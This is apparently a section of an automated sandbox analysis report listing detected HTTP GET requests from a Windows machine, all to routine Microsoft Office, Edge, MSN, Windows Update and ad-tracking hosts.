Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=tXtTyL63pcleZXA&MD=zd2dBTMR HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731349070732&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=021090CBA3AE69423B8585FFA2C968AB&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731349070732&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=021090CBA3AE69423B8585FFA2C968AB&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=109457351b256f420a84a3b1731349071; XID=109457351b256f420a84a3b1731349071
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msMIu.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731953869&P2=404&P3=2&P4=bNfsUDwHRUwtH1zhIJ1JtKDP0LZH3klam09q%2b0ReE12FgNSpzWxZqoyzDxVvq428ykiYSzq2QBgjwmrZzHuidg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: OeRk+swdN4p4aKFF+0aKEPSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731349070731&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=d656a9437545442c897859c057721d8a&activityId=d656a9437545442c897859c057721d8a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=FC0747ADCE0F43758A5B7B7221317D35&MUID=021090CBA3AE69423B8585FFA2C968AB HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=021090CBA3AE69423B8585FFA2C968AB; _EDGE_S=F=1&SID=2F40E15050D86AB42E21F46451C96B10; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=021090CBA3AE69423B8585FFA2C968AB&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=34f361101e4448d2f18eca4fd6d0414b HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=021090CBA3AE69423B8585FFA2C968AB; _EDGE_S=F=1&SID=2F40E15050D86AB42E21F46451C96B10; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msIAw.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
